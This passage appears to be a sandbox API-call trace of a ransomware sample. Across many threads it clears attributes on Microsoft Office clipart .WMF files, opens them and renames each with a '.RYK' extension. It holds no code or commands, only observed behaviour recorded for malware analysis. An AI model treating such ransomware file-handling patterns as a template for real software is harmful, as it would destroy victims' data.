	[0200.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0200.117] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0200.118] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1617
	os_tid = 0x1f30

	[0200.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF", dwFileAttributes=0x80) returned 0
	[0200.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0200.120] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0200.120] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1618
	os_tid = 0x1f34

	[0200.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF", dwFileAttributes=0x80) returned 0
	[0200.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0200.122] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0200.122] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1619
	os_tid = 0x1f38

	[0200.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF", dwFileAttributes=0x80) returned 0
	[0200.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0200.124] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0200.125] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1620
	os_tid = 0x1f3c

	[0200.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF", dwFileAttributes=0x80) returned 0
	[0200.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0200.872] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0200.879] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1621
	os_tid = 0x1f40

	[0200.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF", dwFileAttributes=0x80) returned 0
	[0200.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0200.129] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0200.129] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1622
	os_tid = 0x1f44

	[0200.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF", dwFileAttributes=0x80) returned 0
	[0200.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0200.132] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0200.132] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1623
	os_tid = 0x1f48

	[0200.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF", dwFileAttributes=0x80) returned 0
	[0200.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0200.882] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0200.882] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1624
	os_tid = 0x1f4c

	[0200.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF", dwFileAttributes=0x80) returned 0
	[0200.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0200.135] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0200.136] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1625
	os_tid = 0x1f50

	[0200.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF", dwFileAttributes=0x80) returned 0
	[0200.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0200.883] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0200.883] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1626
	os_tid = 0x1f54

	[0201.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF", dwFileAttributes=0x80) returned 0
	[0201.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0201.400] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0201.400] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1629
	os_tid = 0x1f60

	[0201.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF", dwFileAttributes=0x80) returned 0
	[0201.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0201.403] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0201.403] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1630
	os_tid = 0x1f64

	[0201.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF", dwFileAttributes=0x80) returned 0
	[0201.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0201.407] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0201.407] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1631
	os_tid = 0x1f68

	[0201.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF", dwFileAttributes=0x80) returned 0
	[0201.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0201.411] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0201.412] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1632
	os_tid = 0x1f6c

	[0201.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF", dwFileAttributes=0x80) returned 0
	[0201.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0201.409] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0201.409] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1633
	os_tid = 0x1f70

	[0201.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF", dwFileAttributes=0x80) returned 0
	[0201.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0201.413] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0201.414] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1634
	os_tid = 0x1f74

	[0201.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF", dwFileAttributes=0x80) returned 0
	[0201.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0201.418] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0201.418] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1635
	os_tid = 0x1f78

	[0201.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF", dwFileAttributes=0x80) returned 0
	[0201.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0201.422] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0201.422] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1636
	os_tid = 0x1f7c

	[0201.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF", dwFileAttributes=0x80) returned 0
	[0201.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0201.420] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0201.420] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1637
	os_tid = 0x1f80

	[0201.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF", dwFileAttributes=0x80) returned 0
	[0201.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0201.427] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0201.427] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1638
	os_tid = 0x1f84

	[0201.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF", dwFileAttributes=0x80) returned 0
	[0201.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0201.466] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0201.466] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1639
	os_tid = 0x1f88

	[0201.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF", dwFileAttributes=0x80) returned 0
	[0201.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0201.959] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0201.959] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1644
	os_tid = 0x1fa0


Thread:
	id = 1646
	os_tid = 0x1fa8

	[0201.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF", dwFileAttributes=0x80) returned 0
	[0201.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0201.961] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0201.961] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1647
	os_tid = 0x1fac

	[0202.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF", dwFileAttributes=0x80) returned 0
	[0202.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0202.576] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0202.576] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1655
	os_tid = 0x1fd4

	[0202.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF", dwFileAttributes=0x80) returned 0
	[0202.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0202.004] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0202.004] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1656
	os_tid = 0x1fd8

	[0202.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF", dwFileAttributes=0x80) returned 0
	[0202.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0202.578] CloseHandle (hObject=0xffffffffffffffff) returned 0
